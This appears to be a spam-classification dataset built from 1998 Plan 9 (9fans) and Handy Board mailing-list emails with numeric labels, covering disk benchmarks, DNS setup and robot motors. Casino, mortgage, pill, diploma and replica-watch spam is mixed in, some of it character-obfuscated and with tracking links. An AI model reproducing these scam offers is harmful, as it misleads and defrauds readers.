print(""%%CPU /sec %%CPU\\n""); print(""%-8.8s %4d "", machine, size / (1024 * 1024)); print(""%5d %4.1f %5d %4.1f %5d %4.1f "", (int) (((double) size) / (delta[(int) Putc][Elapsed] * 1024.0)), delta[(int) Putc][CPU] / delta[(int) Putc][Elapsed] * 100.0, (int) (((double) size) / (delta[(int) FastWrite][Elapsed] * 1024.0)), delta[(int) FastWrite][CPU] / delta[(int) FastWrite][Elapsed] * 100.0, (int) (((double) size) / (delta[(int) ReWrite][Elapsed] * 1024.0)), delta[(int) ReWrite][CPU] / delta[(int) ReWrite][Elapsed] * 100.0); print(""%5d %4.1f %5d %4.1f "", (int) (((double) size) / (delta[(int) Getc][Elapsed] * 1024.0)), delta[(int) Getc][CPU] / delta[(int) Getc][Elapsed] * 100.0, (int) (((double) size) / (delta[(int) FastRead][Elapsed] * 1024.0)), delta[(int) FastRead][CPU] / delta[(int) FastRead][Elapsed] * 100.0); print(""%5.1f %4.1f\\n"", ((double) Seeks) / delta[(int) Lseek][Elapsed], delta[(int) Lseek][CPU] / delta[(int) Lseek][Elapsed] * 100.0); } static void newfile(char *name, int *fd, Biobufhdr **stream, int new, int mode) { if (new) { /* create from scratch */ if (remove(name) == -1 && *fd != -1) io_error(""remove""); } /* create from scratch */ if (mode == ORDWR) { *stream = 0; if (new) { *fd = create(name, mode, 0666); } else { *fd = open(name, mode); } } else { *stream = Bopen(name, mode); *fd = BFILDES(*stream); } if (*fd == -1) io_error(name); } static void usage() { fprint(2, ""usage: bonnie [-d scratch-dir] [-s size-in-Mb] [-m machine-label]\\n""); exits(""usage""); } static void timestamp() { last_timestamp = time_so_far(); last_cpustamp = cpu_so_far(); } static void get_delta_t(tests_t test) { int which = (int) test; delta[which][Elapsed] = time_so_far() - last_timestamp; delta[which][CPU] = cpu_so_far() - last_cpustamp; } static double cpu_so_far() { long tms[4]; if (times(tms) < 0) io_error(""times""); return ((double) tms[0]) / ((double) 1000) + ((double) tms[1]) / ((double) 1000); } static double time_so_far() { long val; long tms[4]; if ((val = times(tms)) < 0) io_error(""times""); return ((double) val) / ((double) 1000); } static void io_error(char *message) { char buf[Chunk]; sprint(buf, ""bonnie: drastic I/O error (%s)"", message); perror(buf); exits(""io error""); } /* * Do a typical-of-something random I/O. Any serious application that * has a random I/O bottleneck is going to be smart enough to operate * in a page mode, and not stupidly pull individual words out at * odd offsets. To keep the cache from getting too clever, some * pages must be updated. However an application that updated each of * many random pages that it looked at is hard to imagine. * However, it would be wrong to put the update percentage in as a * parameter - the effect is too nonlinear. Need a profile * of what Oracle or Ingres or some such actually does. * Be warned - there is a *sharp* elbow in this curve - on a 1-Mb file, * most substantial unix systems show >2000 random I/Os per second - * obviously they've cached the whole thing and are just doing buffer * copies. */ static void doseek(long where, int fd, int update) { int buf[Chunk / IntSize]; off_t probe; int size; probe = (where / Chunk) * Chunk; if (seek(fd, probe, 0) != probe) io_error(""seek in doseek""); if ((size = read(fd, (char *) buf, Chunk)) == -1) io_error(""read in doseek""); /* every so often, update a block */ if (update) { /* update this block */ /* touch a word */ buf[((int) rand() % (size/IntSize - 2)) + 1]--; if (seek(fd, (long) probe, 0) != probe) io_error(""seek in doseek update""); if (write(fd, (char *) buf, size) == -1) io_error(""write in doseek""); } /* update this block */ } /* END OF bonnie.c */",0,1 """James A. Robinson"" ",9fans@cse.psu.edu,"Wed, 04 Nov 1998 16:03:33 -0800",Re: [9fans] Bonnie Benchmark ,"Interesting! I ran it on my cpu server, and got some different numbers. I imagine much of the difference is due to the wide-scsi (an NCR 53c875, using Nigel's driver). Also, I did not set any specific block size when I was creating the file system. File server Intel P2/233 128 Mb RAM Diamond Fireport 40 PCI SCSI Seagate 9Gb 19171WC w/ SCA adapter 3c509 ethernet 10BaseT Ethernet Hub has smart routing, i.e., host-to-host routing CPU/Auth acting as terminal Intel P2/400 256MB RAM 3c509 ethernet 10BaseT bonnie -s 1 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 1 747 16.1 775 12.9 399 8.6 752 5.9 775 3.0 107.0 4.7 bonnie -s 2 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 2 764 14.9 793 13.6 393 8.8 752 6.6 778 1.5 108.7 4.0 bonnie -s 4 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 4 778 16.3 801 15.1 393 7.9 748 5.3 771 1.3 107.4 3.7 bonnie -s 8 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 8 775 16.6 803 14.3 399 6.6 749 5.9 790 1.1 107.7 3.9 bonnie -s 16 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 16 779 16.0 805 14.7 401 8.5 749 6.1 788 1.4 107.3 3.9 bonnie -s 32 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 32 781 16.7 807 14.8 399 7.4 747 6.1 785 1.3 108.2 3.4 bonnie -s 64 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 64 777 17.0 807 14.9 400 8.1 748 6.2 788 1.2 107.2 3.6 ",0,0 """James A. Robinson"" ",9fans@cse.psu.edu,"Wed, 04 Nov 1998 16:15:00 -0800",Re: [9fans] Bonnie Benchmark ,"On Wed, 04 Nov 1998 16:03:33 -0800 I wrote: < Interesting! I ran it on my cpu server, and got some different numbers. < I imagine much of the difference is due to the wide-scsi (an NCR 53c875, < using Nigel's driver). Also, I did not set any specific block size when < I was creating the file system. And as a side note... Here are the results from a P2/400 Linux box with 128MB ram and an IDE drive... bonnie -s 1 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 1 6321 98.8 75577 147.6 37539 110.0 5886 97.7 124422 121.5 15501.6 96.9 bonnie -s 2 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 2 6336 102.1 69745 68.1 31725 92.9 5729 97.9 125336 61.2 13833.9 96.8 bonnie -s 4 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 4 6319 100.3 68308 100.1 31169 106.5 5783 100.2 133433 130.3 13089.2 98.2 bonnie -s 8 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 8 6213 98.6 67784 99.3 33832 103.2 5747 100.3 132900 97.3 12539.6 97.2 bonnie -s 16 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 16 6244 99.9 66131 100.9 34100 99.9 5717 100.2 128472 94.1 1476.8 11.1 bonnie -s 32 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 32 5868 93.7 45987 66.0 2809 10.3 5283 93.5 126288 100.2 11155.8 83.7 bonnie -s 64 -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 64 5637 90.8 29349 43.4 1918 6.0 2807 49.4 123903 96.4 10850.2 86.8",0,0 """G. David Butler"" ",9fans@cse.psu.edu,"Wed, 04 Nov 1998 18:07:17 -0600",Re: [9fans] Bonnie Benchmark,">From: ""James A. Robinson"" >Interesting! I ran it on my cpu server, and got some different numbers. >I imagine much of the difference is due to the wide-scsi (an NCR 53c875, >using Nigel's driver). Also, I did not set any specific block size when >I was creating the file system. The main difference is that you are only writing to one hard drive, your write numbers are about twice mine. Also your 4k block size helps alot. The other difference is: > File server > 128 Mb RAM You need to test up to -s 256 to blow the cache.",0,0 Luke Bray ,"handyboard@media.mit.edu, gail@media.mit.edu, rena@media.mit.edu, lupe@media.mit.edu, marcie@media.mit.edu","Wed, 04 Nov 1998 23:11:42 -0400",sports bet,"Hey, so glad to finally get hold of you, Log on to Hi Roller Casino and get $888 FREE Feel like getting rich in the comfort of your own home? Welcome to Hi Roller Casino, Where Fortunes are Made! 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With dlm (dos version 2.4 jun 8 1995, I have these results) (With the 68hc11a1 I choose these options : port timeout 2000 ms and expected miniboard) Dlm Pcode_rw -port com2 -ram -256 . . . . Synchronizing with board?ok Sending Pcode_rw.s19 at 9600 baud Board memory error wanted 00, got 3e at address 001e Board memory error wanted 01, got 00 at address 001f Board synchronizing error With the window95 dlm32 . . . . During the dowloading user's hex file Board error : not written correctly ! I hope you will be able to help me because I try to run this board for 2 years and I don t arrive alone. Do you have an idea ? A the beginning , I tried to do a program in C language then I compiled it with icc11 and crt.s . There weren t mistakes of compilation and link but that I didn t never succeed to download anythings. After I tried with Pcode_rw and Pcode_hb but it was same thing. I verify the hardware of board but I didn t find a problem. I used on my board the following components : maxim 233a, memory of 32kbytes with lithium battery, L293a. I don t understand why I arrive to download the boot program but after there a bug. Thanks for all thierry ",0,0 Get YourDegree ,"""handyboard@media.mit.edu"" ","Wed, 04 Nov 1998 22:56:57 -0700",Graduation is months away handyboard@media.mit.edu - get moving," 4/29/2006 - 10:03 AM Hi Patti@em.ca, A degree program designed to fit into your busy schedule http://Vertfoc.sweepingsweeps-centralnew.com/vtfcid.aspx?id=479730&email=Patti@em.ca Earn your bachelor's or master's degree by attending evening or weekend classes at one of 150 campuses nationwide, and find out why more working professionals choose University of Phoenix than any other university in the U.S. Go to: http://Vertfoc.sweepingsweeps-centralnew.com/vtfcid.aspx?id=479730&email=Patti@em.ca Classes are taught by world-class professionals in their fields, including CEOs, CFOs and other industry leaders. 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When I download the s19 file for the first time (during Chapter 5), the HBDL program (the Win95 downloader) downloads the monitor successfully, and if you watch the lights on the HB, the PWR LED will flicker as the D/L occurs. IIRC, that's normal. However, just after HBDL finishes the monitor download, the BATT light comes on. I then get the error ""Error at address 0x0000"". Does this mean that the board reset and is now out of bootstrap mode? I tried two different adapters and the same thing happened. One is a 12v/500mA DC adapter from Radio Shack and the other is a 12v/1000mA AC adapter. Both were plugged into the serial interface board. I checked the voltage level of the 5v rail during the download -- rock solid at 5.00v. If the 1233 is bad or marginal, does anyone have a spare that I can buy? Rich Cini/WUGNET - ClubWin!/CW7 - MCP Windows 95/Windows Networking - Collector of ""classic"" computers <========= reply separator ==========>",0,0 Jing Scharff ,9fans@cse.psu.edu,"Thu, 05 Nov 1998 15:43:35 -0400",Re: zudeh news,"De c ar Home Ow c ne b r , Your c i redi q t doesn't matter to us ! If you OW v N real e v st m at b e and want I z MMED a IA p TE cas n h to s p pen f d ANY way you like, or simply wish to LO c WER your monthly p w aym g ents by a third or more, here are the deal c s we have T n OD s AY : $ 48 u 8 , 000 at a 3 , u 67% f p ixed - ra s te $ 3 q 72 , 000 at a 3 o , 90% v r aria v ble - ra s te $ 49 v 2 , 000 at a 3 , u 21% inte q res l t - only $ 24 j 8 , 000 at a 3 q , 36% fi v xed - ra r te $ 1 y 98 , 000 at a 3 , k 55% variabl r e - rat p e Hur w ry, when these deaI p s are gone, they are gone ! Don't worry about app g ro q val, your cr e ed s it will not dis b qua y lify you ! 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Ian ______________________________________ Ian Roberts Mechanical & Manufacturing Engineering Swinburne University of Technology Hawthorn, Vic 3122, Australia. phone (61)(3) 92148526 Fax (61) (3) 92148264 ______________________________________ ",0,0 Rodolf Mapes ,9fans@cse.psu.edu,"Thu, 05 Nov 1998 20:04:22 -0700",Re: your VtAcGRA,"Hi A V V L X C P m I A e a I r b A L v n A o i G I i a L z e R U t x I a n A M ra S c http://www.divgante.com story, it was only too common in those days. Then he went back and crept in through the Front Gate and routed out all the halls, and lanes, and tunnels, alleys, cellars, mansions and passages. After that there were no dwarves left alive inside, and he took all their wealth for himself. Probably, for that is the dragons way, he has piled it all up in a great heap far inside, and sleeps on it for a bed. Later he used to ",1,1 Michael Carmody ,9fans@cse.psu.edu,"Thu, 05 Nov 1998 02:58:36 +0000",Re: [9fans] Nameserver Question,"James A. Robinson wrote: > > to locate a URL that isn't a file on my local machine I get the error: > > cs: can't translate address. > > Can you run ndb/dnsquery? > No, this command doesn't seem to exist on the pc distribution.. > term% ndb/dnsquery > > aubrey.stanford.edu > aubrey.stanford.edu ip 36.48.0.102 > > Your gateway is set up with the entry for the network: > # > # Networks > # > ipnet=myrandomlocalnetname ip=36.48.0.0 ipmask=255.255.0.0 > ipgw=36.48.0.1 > fs=myfileservername.domain.org > auth=mycpuservername > > > I have the ip addresses of the nameservers, but not what they are called > > You can find out the name by using nslookup from your linux box: > #maturin:~ > ; nslookup 171.64.7.55 > Server: ns.mediacity.com > Address: 205.216.172.10 > > Name: caribou.Stanford.EDU > Address: 171.64.7.55 I used nslookup from my linux box and got the names of the servers like you suggested. I put them in my /lib/ndb/local file but still get the error ""can't translate address"". I'll include my /lib/ndb/local file this time in case there is any obvious error. # # external internet domain service # dom= ns=ns1.worldnet.att.net ns=ns3.worldnet.att.net dom=ns1.worldnet.att.net ip=204.127.129.1 dom=ns3.worldnet.att.net ip=204.127.160.1 # # your PC (edit to suit) # sys = carrera dom=carrera.plan9.org ip=165.238.0.36 ether=0020afec18ca ipmask=255.255.255.0 ipgw=165.238.0.33 bootfile=/386/9pcdisk proto=il There isn't a section titled network like in your example but there is this in the ndb file supplied with the PC distribution which I haven't changed.: # # your ip networks and subnets (edit to suit) # ipnet=mh-astro-net ip=135.104.0.0 ipmask=255.255.255.0 ipgw=135.104.9.1 fs=bootes.research.att.com auth=1127auth ipnet=third-floor ip=135.104.51.0 ipgw=135.104.51.1 ipnet=fourth-floor ip=135.104.52.0 ipgw=135.104.52.1 Anything under this point was unchanged from the origimal file on the pc distribution. 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",0,0 r.farnhill@bssl.co.uk,handyboard@media.mit.edu,"Fri, 06 Nov 1998 13:44:24 -0000",To step or not to step,"Hi all, Iam trying to make up my mind on which type of motor to use on my robot, I have got two stepper motors with built in quadriture encoders and also two 12v 2amp D.C. motors with gearbox's. I have made a test bot built from Lego with two 9Volt Lego motors with Microsoft mouse contact type encoders fixed to the drive shafts. Every thing seems to work ok but a find I have not got a lot of control or precision moving at low speed, also I overrun due to momentum when trying to stop. Basically will I get more control and precision using stepper motors and also will the extra work involved with getting stepper working be worth the trouble in the end run, or am I better off sticking to DC motors Any input, experiences, comments , would be appreciated ",0,0 Pat Benoy ,handyboard@media.mit.edu,"Fri, 06 Nov 1998 09:39:26 -0600",nicad battery,"Is it ok to use a 9.6 volt 700 mAh RadioShack batttery instead of the 500 mAh battery specifed in the instructions?? ",0,0 rberg@WELLESLEY.EDU,jack.rutledge@delta-air.com,"Fri, 06 Nov 1998 10:51:19 -0500",Re: Science Interest,"Dear Capt. Rutledge, Your ideas sound very interesting! May I suggest that you join the following mailing list. It's a hotbed for this sort of discussion: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/maillist/index.html >Dear Professor Berg, > >I came across your page while searching for some information on the LEGO >Mindstorm product I want to buy my niece. I wanted to ask for some help >on something I’m interested in. > >I’ve worked both as a Professional Firefighter and Pilot. I am >interested in applying technology to firefighting. To fight a >structural fire pumpers need to find and connect to a fire hydrant. >Knowing the location of the hydrant in relation to he fire building can >be difficult at times. > >My idea is to combine GPS and computer technology by building an >inexpensive hydrant finder. A GPS receiver could determine the pumpers >exact location, then search a database for the closest waypoint >(hydrant) near the pumper. A needle could swing to determine relative >bearing and distance. > >I think all the technology exists today I’m just not sure how to go >about putting it all together. Do you have any ideas or thoughts you >could pass along to me about this? Thanks. > >Captain Jack Rutledge >404-715-7331 ********************************************************* Robbie Berg Department of Physics, Wellesley College (781)-283-3110 (voice) (781)-283-3642 (FAX) Home Page: www.wellesley.edu/Physics/Rberg ",0,1 wengd@optionshealthcare.com,handyboard@media.mit.edu,"Fri, 06 Nov 1998 11:17:32 -0500",Some Parts,"I read somewhere that someone was selling the ""hard to find parts"" of the HB including the DS1233, HC11, motor controllers and an LCD. I can't find it now... does anyone know of such a thing??? It would help. P.S. - to anyone who is considering building a HandyBoard from a bare PC board may I suggest simply buying a pre-built and tested unit. There is no cost savings really, though I built one myself mostly for the experience of it. -Drew ",0,0 Will ,Handyboard Mailing List ,"Fri, 06 Nov 1998 10:10:05 -0700",Re: nicad battery,"Pat Benoy wrote: > > Is it ok to use a 9.6 volt 700 mAh RadioShack batttery instead of the > 500 mAh battery specifed in the instructions?? I'm sure that would be fine. The important things seem to be the 9.6 volts and the relatively high current capacity that nicads provide. The larger the amp-hour rating, the longer you can go before recharging. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The fellow who agrees with everything you say Will Bain, is either a fool or he is getting ready & Tatoosh to skin you. --Kin Hubbard ",0,0 Darkman ,"r.farnhill@bssl.co.uk, handyboard@media.mit.edu","Fri, 06 Nov 1998 14:53:36 -0500",Re: To step or not to step,"I encountered the same problem with the DC motors I use on my robot. I used a reflective type encoder that read a black and white stripe of the driving wheels, but did not work reliably due to lack of resoulution and interference from ambient light. I want to try to get some comercial quadruature encoders with a resolution of min100 ppr. and give it a try. The other problem that I encountered is that if one of the motors is slighty slower then the other and you use diferential steering it will arc towards the slower motor some sort of PID might also help. If you decide to go the stepper way check out this homepage http://www.cctc.demon.co.uk/stepper.htm B.T.W. if you don't mind I would be interested in the code you used with the saft encoder. Thanks, -----Original Message----- From: r.farnhill@bssl.co.uk To: handyboard@media.mit.edu Date: Friday, November 06, 1998 9:47 AM Subject: To step or not to step >Hi all, > >Iam trying to make up my mind on which type of motor to use on my robot, >I have got two stepper motors with built in quadriture encoders and also two >12v 2amp >D.C. motors with gearbox's. I have made a test bot built from Lego with two >9Volt Lego motors >with Microsoft mouse contact type encoders fixed to the drive shafts. Every >thing seems to work ok >but a find I have not got a lot of control or precision moving at low speed, >also I overrun due to momentum >when trying to stop. Basically will I get more control and precision using >stepper motors and also will the >extra work involved with getting stepper working be worth the trouble in the >end run, or am I better off sticking >to DC motors > > > >Any input, experiences, comments , would be appreciated > > > >",0,1 Darkman ,"Pat Benoy , handyboard@media.mit.edu","Fri, 06 Nov 1998 14:58:18 -0500",Re: nicad battery,"It might take a bit longer to charge but I don't see a problem I actually use a 12V 3AH gell cell to power my robot and Handy Board -----Original Message----- From: Pat Benoy To: handyboard@media.mit.edu Date: Friday, November 06, 1998 11:47 AM Subject: nicad battery >Is it ok to use a 9.6 volt 700 mAh RadioShack batttery instead of the >500 mAh battery specifed in the instructions?? >",0,0 Kevin AG Toledo ,9fans@cse.psu.edu,"Fri, 06 Nov 1998 21:44:31 +0550",re: qahym,"SPUR-M Formula Increase semen you produce five times Blast five times your load and have longer most satisfying release. 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They've had difficulty getting people at other schools to give information about salaries, etc. They've asked grad groups at other schools to help them, but have not heard from them yet. ---- Meeting attendees suggested that it may be easier to learn about salaries by talking to students at the NAGPS Conference (the Funding Committee will have a rep at that conference). Or, that there may be a comprehensive reference listing salaries (of students) at different universities. Healthcare Committee ==================== Jill Orofino reported for this committee. The healthcare plan writeups that they mentioned would be available soon (at last meeting) are on the web. The writeups that were added so far this semester are: ""Tufts University Student Health Plan,"" ""Brigham and Women's Hospital"" and ""Beth Israel Deaconess Hospital."" Currently: - They are researching the BU health plan. This is expected to take longer than most writeups since they want to do a thorough job of describing BU's plan (especially so that new students can review it before they come to BU). A few interesting facts from their research so far: - The ceiling on certain medical services Chickering will cover is comparatively low, e.g., $5,000 per surgery (per policy period). - BU's student insurance does cover some tooth extraction services. - BU's Student Health Services: + Has no specialists. + Only treats short-term conditions (long-term conditions are referred out). + Can do only basic lab tests (no x-rays, etc). + In general, provides fewer services than student health services at the other schools they've compared so far. Notably, the student health plan at Tufts University (completed earlier in the semester) is also under Chickering. They pay $745/year. (Note: Tufts grads also pay a mandatory $431/year fee for their Student Health Services--12/4/98). The Healthcare Committee will be able to better describe the differences between BU's and Tuft's Chickering plan when they have completed researching the BU plan. - They are looking into dental plans, including services at local university's dental schools. Some schools claim to offer services for low-income patient. They've also come across a Mass. Dental Society program called ""Dental for All"" that is supposed to cover low-income individuals who are not eligible for Medicaid. This is apparently a program you must apply for and that covers basic services when you qualify. They are awaiting more information on these programs. A meeting attendee suggested the ""Forsythe (?) Dental School."" - They have added more definitions of medical terms to the ""Terminology"" section of the GSO healthcare web pages. Future plans (besides those above) include deciding what kinds of information the committee's rep will ask of other school reps at the NAGPS Conference. The guidelines for some of the plans they wrote up before the fall semester changed on October 1st. Since these state-run plans normally have to be updated after April (when income qualification guidelines change each year), they will update them at that time. Housing Committee ================= This committee did not report. Liaison Committee ================= Gary Garber reported for this committee. SSW Meeting ----------- They reported about a meeting with the School of Social Work's (SSW) Student Organization (a grad group in BU's SSW). At that meeting, they: - Got a copy of that group's constitution (for our Steering Committee). - Learned about where they spend some of their budget: T-shirts, socials. - Learned about their source of funding: $25/year fee from students. - Learned more about how the paperwork that registered groups have to file (e.g., to spend money) works. - Discussed collaboration possibilities: (1) Invited SSW students to our next Pub Night. (2) Their GLBT caucus may be able to collaborate (with us in the future) on issues like researching including domestic partners on insurance plans. SAGE Meeting ------------ They reported about a meeting with the Student Assoc. of Grad. Engineers (SAGE), which is BU's Engineering School's grad student group. They learned that this group: - Has been around for 8 years. - Traditionally, it has been a 2-person group (with a president and treasurer). More recently, they have taken on more projects and have added more officers to handle things like: communication with students, orientation, social events. - Have reps from each dept. - Recently acquired a lounge. - Are working on ""professional development."" - Have an orientation for students. - Deal with issues like ""unfair qualifying exams."" - Their funding comes from 2 sources: + Students pay $10/semester fee (approx. 400 students). This money goes towards things for the lounge (e.g., computer equipment). + Engineering dean pays for social activities. GRS Meeting ----------- They reported on a meeting with Andrea White, an assistant to Assoc. Dean Whitaker. Information learned from that meeting includes: - This year's GRS new student orientation cost $6,000. - Improvements in grad students' library privileges are still on the ""back burner,"" but apparently still have the deans' support. - The new grad student lounge on the 3rd floor of the Metcalf building now has an ID-card reader. The Liaison Committee would like to know what other supplies that room needs besides: seating, bookcases, magazine racks and bulletin boards. The exact details of how students will receive card access to that building and room still need to be worked out. - Andrea White is willing to arrange a brown bag talk on resume writing and job interviewing if we would like. - GRS is willing to invite representatives from other insurance companies to next fall's orientation if we are able to find more plans applicable to grads. - Whitaker may be suggesting multiple-advisor approaches for students to each depts' Director of Graduate Studies (perhaps 3-person committees). - Whitaker is apparently hoping for a student stipend pay increase next year. Also, for a yearly pay increase after student stipends better match the cost-of-living. It is not clear whether Dean Berkey supports these things. Meeting attendees felt that GRS is willing to make these pay increases because BU is not competitive with other universities. Attendees cited a decreased number of new students in their own departments due to students accepting appointments elsewhere. - Andrea White has been offering seminars on ""grant writing"" to each dept. - There are additional web pages with information about funding opportunities: http://www.bu.edu/OSP/. - Andrea said that the Boston Globe misquoted Whitaker in the article mentioning Pub Night. It is not clear whether this means that he mentioned the GSO in that context or not. Finally... Apparently, Assoc. Dean Whitaker is interested in attending one of our GSO meetings. Since we need to discuss more what kind of relationship we want with the administration and would want to be well-prepared for any such meeting, we are leaving that open for more discussion in the near future. Social Committee ================ Jen Wenner reported for this committee. They reported that plans for the next Pub Night are on track. Steering Committee ================== They did not attend, but Dave Morgan reported by e-mail that their only new business was an upcoming meeting with a representative from Harvard's graduate organization. This is just a rescheduling of the meeting they mentioned last time. 2. Collaboration with AAUP We discussed possibilities for collaboration with the BU Chapter of the American Assoc. of University Professors (AAUP). Rob Pitts gave some information about BU's AAUP: - GSO first talked with them last March (minutes of that original meeting are available upon request). - AAUP is an advocacy group for teachers at universities. They do have a Collective Bargaining Congress branch that deals with union issues. - BU's chapter has been around for perhaps decades. Teachers here struck in 1979. They eventually gained some advances through collective bargaining, however, not long after the '79 strike the National Labor Relations Board (who has jurisdiction over employees at private schools) ruled that teachers were ""managers"" and could not bargain collectively. Still, many members of the AAUP throughout the country participate in some kind of collective bargaining unit. - BU's Chapter has dealt with the BU administration before. One example of this is their report on ""Academic Freedom at BU"" that they gave to the administration (available to look at upon request). We've agreed that the best way to initially collaborate with them would be to have a joint brown bag lunch talk. Meeting attendees decided that the topic that we may be interested in having them talk to us about is one of: - Intellectual Property Issues - Student/Advisor Relations - Teaching and Tenure Issues We would like to have such a talk this semester, which will depend on the availability of one of their members to present one of these topics. 3. Group Diversity We discussed how to promote more diversity in the GSO. Rob Pitts presented some statistics about the group's current participation: - Approx. 150 students on the mailing list since after orientation, including at least 1 person from 26 depts in GRS. - 15 students on committees (down from 17 earlier in semester). Participation in committees is from students in 8 Science depts and one Humanities dept. - People attending general meetings are usually a subset of those on committees (although we encourage others to come). - More people participating on committees and at meetings this year (versus last year). Nonetheless, the number of departments from which students participating in those come is not necessary larger than last year (although some of those depts are different than last year). Other diversity issues (although we don't have statistics on these): - Pretty diverse on gender. - More PhD students are involved than Masters. - Probably more American versus international students. ---- Meeting attendees suggested that some of these diversity issues are possibly due to: - Time on campus, access to e-mail (Humanities versus Sciences). - Less time on campus, shorter degree programs, part- and full-time jobs (Masters students). ---- A suggestion for trying to be more inclusive of Masters and international students was to have at least one brown bag talk geared toward each during the year. ---- In order to make sure that general GSO meetings are more visible, we agreed to: - Start putting up signs (possibly stuffing mailboxes) for general meetings. - Look into advertising them in Daily Free Press or BU Bridge. - Try to promote the GSO with dept grad groups (including creating an updated flyer on the GSO's accomplishments and goals).",0,1 Dominique Arnold ,9fans@cse.psu.edu,"Fri, 06 Nov 1998 21:53:44 +0100",Clinton got one ,"Get the Finest Rolex Watch Replica ! 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Rich Cini/WUGNET - ClubWin!/CW7 - MCP Windows 95/Windows Networking - Collector of ""classic"" computers <========= reply separator ==========>",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Sat, 07 Nov 1998 11:49:55 -0500",Re: To step or not to step,"Russell , Having that encoder will help you a lot. One of the biggest problems with using steppers is that they will stall when you get to higher speeds. What ever program you use to drive the steppers should have a part that asks ""has it made the last step?"" before issuing the next step. I have a small line following robot using steppers that runs very slowly since it does not have this feedback. Your program will need to generate the stepper timing, and if you do not use a ""stepper driver chip"" you will also need to generate the stepper pattern. These are not hard, but they will eat into you program time budget a good bit. I'd count on 30%-50% of your software time just running the two steppers with feedback. All the timer features of the 6811 will help this a bit, but it will still call for a good amount of attention. The feedback might ease the limits on ramping that you need to do. If the encoders are an overriding part of your program you could change your speed from 0 to max, and let the encoders do the ramping for you. The only problem there is insuring the motors run at the same speed. If you use an external stepper driver chip, you will not need to generate the step pattern. If you are just using a simple current amplifier (I don't think the Handy motor driver chips will give you enough current), you will need to generate the steps in your program. It is not hard to do the steps in the program, you just have to do it. I don't think your code will be too different either way. I would guess that you would set your timers to issure a software interrupt when it is time for the next step. So your code would look something like: TimeForNextStep: Did this motor take the last step (read encoder) Did the other motor take its step (if going straight) Issue next step (if external stepper driver this is just a pulse on a pin, otherwise you ""look up"" the next step from a step table in code space) return from interrupt Even with encoders you will need the timer to slow the motors down. Your software will need to ramp the speed down for stopping if you want the position of the robot to be accurately known. Steppers slow down faster than they speed up. Hope this helps Later pherd ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Sat, 07 Nov 1998 11:49:57 -0500",Re: Some Parts,"Drew, Last year I was involved in getting parts for the Missouri Area Robotics Society. We were making boards as a club project. I found most of the parts from Digi-key and Mouser Electronics. The rest came from: Wirz Electronics, JDR Micro devices, Jameco, and B.G. Micro. To contact: Digi-Key 800-344-4539 www.digikey.com Mouser Electronics 800-346-6873 www.mouser.com Wirz Electronics www.wirz.com JDR Micro devices 800-538-5000 www.jdr.com Jameco 800-831-4242 www.jameco.com B.G. Micro 800-276-2206 Hope this helps Pherd ",0,0 Rick Moll ,"Robbie Berg , jack.rutledge@delta-air.com","Sat, 07 Nov 1998 13:28:29 -0600",Re: Science Interest,"Robbie Berg and Capt. Jack Rutledge: I'm a big fan of the Handy Board, but you might want to also consider using a 3Com PalmPilot. The current model, Palm III, has a backlit 160x160 graphics display, a 2MByte memory, and 